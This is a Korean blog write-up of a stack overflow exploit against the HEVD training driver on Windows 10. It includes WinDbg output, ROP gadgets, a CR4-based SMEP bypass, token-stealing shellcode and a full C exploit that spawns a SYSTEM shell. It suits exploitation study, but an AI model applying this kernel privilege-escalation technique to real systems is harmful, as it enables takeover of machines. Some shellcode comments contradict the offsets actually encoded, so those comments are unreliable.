반응형
Stack Overflow 발생하는 과정은 생략.
Microsoft Windows [Version 10.0.18362.1082]
(c) 2019 Microsoft Corporation. All rights reserved.
function name 검색
kd> x HEVD!*stack*
fffff802`5c346594 HEVD!BufferOverflowStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
fffff802`5c3466e0 HEVD!TriggerBufferOverflowStackGS (void *, unsigned int64)
fffff802`5c34776c HEVD!TriggerUninitializedMemoryStack (void *)
fffff802`5c3478ac HEVD!UninitializedMemoryStackObjectCallback (void)
fffff802`5c3465b4 HEVD!TriggerBufferOverflowStack (void *, unsigned int64)
fffff802`5c347890 HEVD!UninitializedMemoryStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
fffff802`5c3466c0 HEVD!BufferOverflowStackGSIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
fffff802`5c345091 HEVD!IoGetCurrentIrpStackLocation = (inline caller) HEVD!IrpDeviceIoCtlHandler+19
Break Point
디버깅하면서 브포는 대충 이렇게 하고 분석하믄 됨.
kd> bp HEVD!TriggerBufferOverflowStack
kd> bp fffff802`5c34667e
kd> bp fffff802`5c3466bf
Gadget
pop rcx; ret
kd> nt!HvlEndSystemInterrupt+0x1e:
fffff802`5d9bed7e 5a pop rdx
fffff802`5d9bed7f 58 pop rax
fffff802`5d9bed80 59 pop rcx <<<<<<<<<<<<<<<<<<<<<
fffff802`5d9bed81 c3 ret
mov cr4, rcx; ret
kd> uf KiEnableXSave
nt!KiEnableXSave:
fffff802`5dd9ead0 0f20e1 mov rcx,cr4
fffff802`5dd9ead3 48f705f238fdff00008000 test qword ptr [nt!KeFeatureBits (fffff802`5dd723d0)],800000h
...
fffff802`5dda6a51 0f22e1 mov cr4,rcx <<<<<<<<<<<<<<<<<<<<<
fffff802`5dda6a54 c3 ret
Analysis
TriggerBufferOverflowStack()
에서 memcpy
를 통해 Overflow 취약점이 발생한다.
TriggerBufferOverflowStack
HEVD!TriggerBufferOverflowStack:
fffff802`5c3465b4 48895c2408 mov qword ptr [rsp+8], rbx ss:0018:fffff404`95027740=000000000000004d
fffff802`5c3465b9 4889742410 mov qword ptr [rsp+10h], rsi
fffff802`5c3465be 48897c2418 mov qword ptr [rsp+18h], rdi
...
fffff802`5c346673 4c8bc6 mov r8, rsi
fffff802`5c346676 488bd7 mov rdx, rdi
fffff802`5c346679 488d4c2420 lea rcx, [rsp+20h]
fffff802`5c34667e e83dabf7ff call HEVD!memcpy (fffff802`5c2c11c0) <<<<<<<<<
fffff802`5c346683 eb1b jmp HEVD!TriggerBufferOverflowStack+0xec
...
fffff802`5c3466b9 415f pop r15
fffff802`5c3466bb 415e pop r14
fffff802`5c3466bd 415c pop r12
fffff802`5c3466bf c3 ret
Shellcode
Certificate 정보 가져올 때, ActiveProcessLinks
와 Token
의 Offset을 사용하므로 알아둘 필요가 있음.
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY <<<<<<<<<<<<<<<<<
+0x300 RundownProtect : _EX_RUNDOWN_REF
+0x308 Flags2 : Uint4B
+0x308 JobNotReallyActive : Pos 0, 1 Bit
+0x308 AccountingFolded : Pos 1, 1 Bit
+0x308 NewProcessReported : Pos 2, 1 Bit
+0x308 ExitProcessReported : Pos 3, 1 Bit
+0x308 ReportCommitChanges : Pos 4, 1 Bit
+0x308 LastReportMemory : Pos 5, 1 Bit
+0x308 ForceWakeCharge : Pos 6, 1 Bit
+0x308 CrossSessionCreate : Pos 7, 1 Bit
...
+0x340 VirtualSize : Uint8B
+0x348 SessionProcessLinks : _LIST_ENTRY
+0x358 ExceptionPortData : Ptr64 Void
+0x358 ExceptionPortValue : Uint8B
+0x358 ExceptionPortState : Pos 0, 3 Bits
+0x360 Token : _EX_FAST_REF <<<<<<<<<<<<<<<<<<
+0x368 MmReserved : Uint8B
+0x370 AddressCreationLock : _EX_PUSH_LOCK
+0x378 PageTableCommitmentLock : _EX_PUSH_LOCK
+0x380 RotateInProgress : Ptr64 _ETHREAD
+0x388 ForkInProgress : Ptr64 _ETHREAD
...
+0x868 ParentSecurityDomain : Uint8B
+0x870 CoverageSamplerContext : Ptr64 Void
+0x878 MmHotPatchContext : Ptr64 Void
Exploit
다음과 같은 단계로 익스하였음.
Bypass SMEP change cr4 to 0x00000000002506f8
Run Shellcode
SMEP을 Recover 하지 않아도 실행잘됐음.
Shellcode를 실행한 뒤, flow를 복구해주기 위하여, HEVD!IrpDeviceIoCtlHandler+0x1db
로 return 했음. rsp를 잘 맞춰주기 위하여, 쉘코드 실행 후, ret를 반복하여 rsp를 정상적인 과정처럼 맞춰주었음.
덮어쓴 공간 뒤로 가장 최신의 ret
로 돌아가게 하였으며, 이 ret보다 더 높은 주소의 ret로 복구하게 되면 프로그램이 정상적으로 실행되지 않음.
fffff802`5c34524e e841130000 call HEVD!BufferOverflowStackIoctlHandler (fffff802`5c346594)
fffff802`5c345253 4c8d0576300000 lea r8, [HEVD! ?? ::NNGAKEGL::`string' (fffff802`5c3482d0)] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
fffff802`5c34525a e9b0040000 jmp HEVD!IrpDeviceIoCtlHandler+0x697 (fffff802`5c34570f)
fffff802`5c34525f bb03000000 mov ebx, 3
Code
typedef struct {
LPVOID PopRcxRet;
LPVOID Cr4RegValue;
LPVOID MovCr4EcxRet;
} ROP, * PROP;
LPVOID kernelBase() {
printf("[*] Preparing kernel information leak\n");
LPVOID drivers[1000];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, 1000, &cbNeeded);
LPVOID kernelBaseAddr = drivers[0];
printf("\t[+] Kernel base address @ 0x%p\n", kernelBaseAddr);
return kernelBaseAddr;
}
int main() {
HANDLE driverHandle;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
LPVOID lpvPayload;
ROP DisableSMEP, EnableSMEP;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
CHAR ShellCode[] =
"\x51\x52\x41\x50\x41\x51\x50\x57\x56" // push rcx, rdx, r8, r9, rax, rdi, rsi
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
"\x4D\x8B\x88\xf0\x02\x00\x00" // mov r9, [r8 + 448h] ; ActiveProcessLinks list head
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
//find_system_proc:
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
"\x74\x05" // jz found_system ; Found SYSTEM token
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
"\xEB\xF1" // jmp find_system_proc ; Loop
//found_system:
"\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
"\x49\x89\x80\x60\x03\x00\x00" // mov [r8 + 4b8h], rax ; Copy SYSTEM token to current process's token
//recover:
"\x5E\x5F\x58\x41\x59\x41\x58\x5A\x59" // pop rsi, rdi, rax, r9, r8, rdx, rcx
// "\x48\x83\xc4\x40" // add rsp, 40h ; Set Stack Pointer to SMEP enable ROP chain
// "\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash
// "\x48\x31\xFF" // xor rdi, rdi ; Zeroing out rdi register to avoid Crash
// "\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS
"\xc3" // ret
;
printf("[*] Preparing shellcode\n");
lpvPayload = VirtualAlloc(
NULL, // Next page to commit
sizeof(ShellCode), // Page size, in bytes
MEM_COMMIT | MEM_RESERVE, // Allocate a committed page
PAGE_EXECUTE_READWRITE); // Read/write access
if (lpvPayload == NULL) {
printf("\t[-] Failed to create shellcode memory\n");
exit(1);
}
memcpy(lpvPayload, ShellCode, sizeof(ShellCode));
printf("\t[+] Success to create shellcode\n");
printf("[*] Opening handle to \\\\.\\HackSysExtremeVulnerableDriver\n");
driverHandle = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (driverHandle == INVALID_HANDLE_VALUE) {
printf("\t[-] Could not open HEVD handle\n");
return 0;
}
printf("\t[+] Success to open handle\n");
LPVOID kernelBaseAddr = kernelBase();
printf(" [*] Preparing SMEP Bypass ROP Chain\n");
DisableSMEP.PopRcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x01bed80);
DisableSMEP.Cr4RegValue = (PUCHAR)0x2506f8;
DisableSMEP.MovCr4EcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x05a6a51);
//EnableSMEP.PopRcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x01bed80);
//EnableSMEP.Cr4RegValue = (PUCHAR)0x3506f8;
//EnableSMEP.MovCr4EcxRet = (LPVOID)((INT_PTR)kernelBaseAddr + 0x05a6a51);
unsigned long long PopR14Ret = (LPVOID)(((INT_PTR)kernelBaseAddr) + 0x01bebfa);
printf("\t[+] pop rcx ; ret @ 0x%p\n", DisableSMEP.PopRcxRet);
printf("\t[+] new CR4 @ 0x%p\n", DisableSMEP.Cr4RegValue);
printf("\t[+] mov cr4, ecx ; ret @ 0x%p\n", DisableSMEP.MovCr4EcxRet);
printf("[*] Preparing buf\n");
char* buf = (char*)VirtualAlloc(NULL, 0x870, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
SecureZeroMemory(buf, 0x870);
unsigned long long ret[6] = { (unsigned long long)(EnableSMEP.PopRcxRet) + 1, (unsigned long long)(EnableSMEP.PopRcxRet) + 1, (unsigned long long)(EnableSMEP.PopRcxRet) + 1, PopR14Ret };
memset(buf, 0x00, 0x818);
memcpy(buf + 0x818, &DisableSMEP, sizeof(ROP));
memcpy(buf + 0x818 + 0x8 * 3, &lpvPayload, sizeof(LPVOID));
//memcpy(buf + 0x818 + 0x8 * 4, &EnableSMEP, sizeof(ROP));
memcpy(buf + 0x818 + 0x8 * 4, ret, 0x10);
printf("[*] Send payload\n");
if (!DeviceIoControl(driverHandle, HEVD_IOCTL_BUFFER_OVERFLOW_STACK, buf, 0x818 + 0x18 + 8 + 0x10, NULL, 0, NULL, NULL)) {
printf("\t[-] Error sending IOCTL to driver\n");
return 0;
}
printf("\t[+] Success\n");
system("cmd.exe");
}
Demo
반응형
'Write-up' 카테고리의 다른 글
TFCCTF 2022 Write-up (0) | 2022.08.02 |
---|---|
[CSAW 2020] PwnVoltex (0) | 2020.10.14 |
[GoogleCTF2020] Android writeup (2) | 2020.08.31 |
[MidnightSun CTF 2020] StarCraft writeup (0) | 2020.07.26 |
Uncrackable 2 (0) | 2020.07.15 |